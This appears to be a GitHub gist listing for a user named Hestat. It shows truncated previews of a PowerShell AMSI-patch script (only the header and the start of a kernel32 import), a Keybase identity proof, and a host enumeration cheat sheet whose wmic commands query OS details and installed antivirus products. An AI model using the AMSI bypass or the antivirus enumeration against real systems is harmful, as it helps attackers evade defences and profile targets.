Hestat

Write-Host "-- AMSI Patch"
Write-Host "-- Paul Laîné (@am0nsec)"
Write-Host ""

$Kernel32 = @"
using System;
using System.Runtime.InteropServices;

public class Kernel32 {
    [DllImport("kernel32")]

Hestat

Keybase proof

I hereby claim:

• I am hestat on github.
• I am hestat (https://keybase.io/hestat) on keybase.
• I have a public key ASDlt5yxaEg1lc5uKeewdgJlddNrwsatTjXt6QH8IvaZfgo

To claim this, I am signing this object:

Hestat

Host Enumeration:

--- OS Specifics ---
wmic os LIST Full (* To obtain the OS Name, use the "caption" property)

wmic computersystem LIST full

--- Anti-Virus ---

wmic /namespace:\\root\securitycenter2 path antivirusproduct